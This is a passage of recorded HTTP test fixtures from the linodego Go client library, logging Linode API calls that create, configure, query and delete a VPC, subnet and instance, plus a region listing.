'{"label":"go-test-vpc-1720728789918950000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1720728789919128000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74466, "label": "go-test-vpc-1720728789918950000", "description": "", "region": "us-iad", "subnets": [{"id": 72314, "label": "linodego-vpc-test-1720728789919128000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-g9a5e47yn09e","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"vpc","subnet_id":72314,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61342495/configs/64562062 method: PUT response: body: '{"id": 64562062, "label": "go-test-conf-g9a5e47yn09e", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 1953871, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 74466, "subnet_id": 72314, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.234.39.176"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "773" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"linode_id": 61342495}' url: https://api.linode.com/v4beta/vpcs/74466/ips?page=1 method: GET response: body: '{"data": [{"address": "192.168.0.2", "address_range": null, "vpc_id": 74466, "subnet_id": 72314, "region": "us-iad", "linode_id": 61342495, "config_id": 64562062, "interface_id": 1953871, "active": false, "nat_1_1": "172.234.39.176", "gateway": "192.168.0.1", "prefix": 25, "subnet_mask": "255.255.255.128"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "346" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61342495 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74466 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_Subnet_Create.yaml000066400000000000000000000605511474652371000315520ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728776895696000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1720728777122584000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74455, "label": "go-test-vpc-1720728776895696000", "description": "", "region": "us-iad", "subnets": [{"id": 72308, "label": "linodego-vpc-test-1720728777122584000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:12:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter 